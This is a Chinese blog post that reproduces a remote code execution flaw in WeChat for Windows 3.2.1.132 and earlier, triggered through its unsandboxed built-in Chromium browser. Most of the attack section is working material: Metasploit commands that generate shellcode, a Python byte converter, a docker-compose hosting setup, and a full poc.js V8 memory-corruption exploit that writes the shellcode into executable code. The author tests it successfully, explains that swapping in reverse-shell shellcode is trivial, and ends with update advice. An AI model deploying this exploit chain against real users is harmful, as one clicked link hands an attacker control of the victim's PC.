0xFF 免责声明
由于传播、利用此文提供的信息而造成的任何直接或间接的后果,均有使用者承担,本站不为此承担任何责任。
太长不看版:
3.2.1.132及之前版本的PC版微信有安全漏洞,通过微信内置浏览器点击恶意链接,即可实现任意命令执行(RCE)
以上测试为打开Windows系统(64位机)内置计算器

"May there be enough clouds, to make a beautiful sunset."
发布于 2021-04-18 170 次阅读
由于传播、利用此文提供的信息而造成的任何直接或间接的后果,均有使用者承担,本站不为此承担任何责任。
3.2.1.132及之前版本的PC版微信有安全漏洞,通过微信内置浏览器点击恶意链接,即可实现任意命令执行(RCE)
以上测试为打开Windows系统(64位机)内置计算器
RCE(Remote command/code execute)漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。具体能做什么,只有受害者想不到,没有攻击者做不到
(假的,这个需要技术的)。比较常见的应用为shell反弹,即通过构造恶意代码,打开控制受害者机器的大门,再通过花式提权,获取机器的最高权限(如果可以的话)。理论上不反弹shell也能执行很多危险造作,比如删库跑路等,具体可以知乎搜索CTF搅屎棍(误)简单解释一下RCE
昨天看到奇安信的紧急通告:
“严重安全问题”,“强烈建议”,这BUG好猛啊,是不是可以RCE啊,这不赶紧来试一下
然后去360响应中心上找了一下预警......发现确实是个在野漏洞:
组件: Windows版微信
漏洞类型: 远程代码执行
影响: PC接管
简述: 攻击者可以通过微信发送一个特制的web链接,用户一旦点击链接,Windows版微信便会加载执行攻击者构造恶意代码,最终使攻击者控制用户PC。
https://cert.360.cn/warning/
安全预警里面也说了,是Chrome的安全问题导致的......PC端微信调用了较低版本的Chrome内核,而且没有开启沙箱(--no-sandbox模式),使用微信内置浏览器时,会触发Chrome内核解释器的漏洞,造成浏览器PWN,实现任意命令执行(RCE)。
首先需要找一个没有更新微信同学要一下微信安装包......
其实官网也有历史版本,只是比较隐蔽:微信历史版本
我们下载并测试3.1.0:
为什么不用最新版呢——因为最新版标记的日期虽然是0day曝光之前的,但是下载下来却是3.2.1.142(已经修复了漏洞的版本www)
去gayhub查查有木有别人写好的exp,居然还真有。
而且仿佛是新鲜的,新鲜到README都没写(x):
点进去莽了一眼,好像就是从Chrome 0day的EXP里面CV过来的
不过我还是给了他一个star,毕竟能嫖到的代码谁会想自己写呢(x)
仔细看一眼,发现shellcode需要我们自己写:
因为只是做测试,就不搞花里胡哨的shell反弹了,做一个最简单的,打开计算器。
有两种方法:一种是手撸汇编代码,生成二进制文件,找到代码段对应机器码,然后copy下来即可;第二中是借助MSF直接生成机器码......手撸shellcode有点顶,下次想起来单独写一篇博客,这里我们通过MSF直接生成:
msfconsole
# 启动msf控制台
use windows/exec
set CMD calc.exe
set EXITFUNC thread
#设置参数
generate -t
# 生成buf
得到的shellcode如下:
我们通过Python脚本将其转换为需要的list形式:
import binascii
buf = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" + \
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" + \
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" + \
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" + \
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" + \
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" + \
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" + \
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" + \
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" + \
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d" + \
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb" + \
"\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" + \
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" + \
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
code = [hex(ord(x)) for x in buf]
print(','.join(code))
然后将结果复制粘贴到poc.js
中
直接本地起一个一键式容器(其实只要用各种方法开启了WEB服务就行),由于不涉及数据库什么的,随手写了一个docker-compose:
docker-compose.yml
:直接拖了个LAMP,没啥花里胡哨的
version: '3'
services:
# 基本环境
WECHAT_POC:
# image直接拖了个lamp
image: tutum/lamp
ports:
- 9999:80
volumes:
- ./www:/var/www/html
tty: true
networks:
- net
environment:
TZ: Asia/Shanghai
networks:
# 配置docker network
net:
# external:
# name: h1ve_frp_containers
index.html
:这部分就可以做的花里胡哨了,只要调用了poc.js
就行
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>wechat</title>
</head>
<body>
<h1>Hello World!</h1>
<script src = "poc.js"></script>
</body>
</html>
poc.js
:这个是攻击的核心,尤其是shellcode部分(这里的shellcode是刚刚自己掰的,功能是打开计算器)
框架部分是嫖的,感谢Jaky5155开源的EXP
ENABLE_LOG = true;
IN_WORKER = true;
// run calc and hang in a loop
//var shellcode = [#shellcode];
var shellcode = [0xfc, 0xe8, 0x82, 0x0, 0x0, 0x0, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0xc, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0xf, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x2, 0x2c, 0x20, 0xc1, 0xcf, 0xd, 0x1, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x1, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x1, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x1, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0xd, 0x1, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x3, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x1, 0xd3, 0x66, 0x8b, 0xc, 0x4b, 0x8b, 0x58, 0x1c, 0x1, 0xd3, 0x8b, 0x4, 0x8b, 0x1, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x1, 0x8d, 0x85, 0xb2, 0x0, 0x0, 0x0, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0xa, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x6, 0x7c, 0xa, 0x80, 0xfb, 0xe0, 0x75, 0x5, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x0, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x0];
// open calc
function print(data) {
}
var not_optimised_out = 0;
var target_function = (function (value) {
if (value == 0xdecaf0) {
not_optimised_out += 1;
}
not_optimised_out += 1;
not_optimised_out |= 0xff;
not_optimised_out *= 12;
});
for (var i = 0; i < 0x10000; ++i) {
target_function(i);
}
var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;
function cb(flag) {
if (flag == true) {
return;
}
g_array = new Array(0);
g_array[0] = 0x1dbabe * 2;
return 'c01db33f';
}
function gc() {
for (var i = 0; i < 0x10000; ++i) {
new String();
}
}
function oobAccess() {
var this_ = this;
this.buffer = null;
this.buffer_view = null;
this.page_buffer = null;
this.page_view = null;
this.prevent_opt = [];
var kSlotOffset = 0x1f;
var kBackingStoreOffset = 0xf;
class LeakArrayBuffer extends ArrayBuffer {
constructor() {
super(0x1000);
this.slot = this;
}
}
this.page_buffer = new LeakArrayBuffer();
this.page_view = new DataView(this.page_buffer);
new RegExp({ toString: function () { return 'a' } });
cb(true);
class DerivedBase extends RegExp {
constructor() {
// var array = null;
super(
// at this point, the 4-byte allocation for the JSRegExp `this` object
// has just happened.
{
toString: cb
}, 'g'
// now the runtime JSRegExp constructor is called, corrupting the
// JSArray.
);
// this allocation will now directly follow the FixedArray allocation
// made for `this.data`, which is where `array.elements` points to.
this_.buffer = new ArrayBuffer(0x80);
g_array[8] = this_.page_buffer;
}
}
// try{
var derived_n = eval(`(function derived_n(i) {
if (i == 0) {
return DerivedBase;
}
class DerivedN extends derived_n(i-1) {
constructor() {
super();
return;
${"this.a=0;".repeat(tDerivedNCount)}
}
}
return DerivedN;
})`);
gc();
new (derived_n(tDerivedNDepth))();
this.buffer_view = new DataView(this.buffer);
this.leakPtr = function (obj) {
this.page_buffer.slot = obj;
return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
}
this.setPtr = function (addr) {
this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
}
this.read32 = function (addr) {
this.setPtr(addr);
return this.page_view.getUint32(0, true, ...this.prevent_opt);
}
this.write32 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint32(0, value, true, ...this.prevent_opt);
}
this.write8 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint8(0, value, ...this.prevent_opt);
}
this.setBytes = function (addr, content) {
for (var i = 0; i < content.length; i++) {
this.write8(addr + i, content[i]);
}
}
return this;
}
function trigger() {
var oob = oobAccess();
var func_ptr = oob.leakPtr(target_function);
print('[*] target_function at 0x' + func_ptr.toString(16));
var kCodeInsOffset = 0x1b;
var code_addr = oob.read32(func_ptr + kCodeInsOffset);
print('[*] code_addr at 0x' + code_addr.toString(16));
oob.setBytes(code_addr, shellcode);
target_function(0);
}
try {
print("start running");
trigger();
} catch (e) {
print(e);
}
主机服务跑起来,虚拟机用过微信内置浏览器访问主机地址——成功弹出计算器:
然后在服务器上也配置一个:http://xiabee.cn:9999/
经过多次测试,计算器正常弹出,漏洞有效。
这是一个RCE(Remote Command Execute,任意命令执行)!这是一个RCE!这是一个RCE!重要的事情说三遍!
这里只是展示了如何打开计算器,但是理论上攻击者可以根据需要编写任意的shellcode以控制受害者主机,比如最常见的shell反弹等;而且这个利用浏览器的漏洞,不需要攻击者提供恶意软件(不需要受害者下载病毒),只需精心设计一串代码,提供一个链接,诱惑受害者点击,危险指数较高。
修复的话......部分安全软件(比如Windows Defender)并没有阻止我们点击恶意链接,部分安全软件(比如卡巴斯基)在点击含有反弹shell的链接时发出了警告——过度依赖安全软件是不对的,不明链接不要随意点击。
当然,最保险的修复方案还是官方更新啦,直接升级到最新版(3.2.1.141及以后版本)即可 。
及时更新,及时更新,及时更新,重要的事情说三遍x
Comments | NOTHING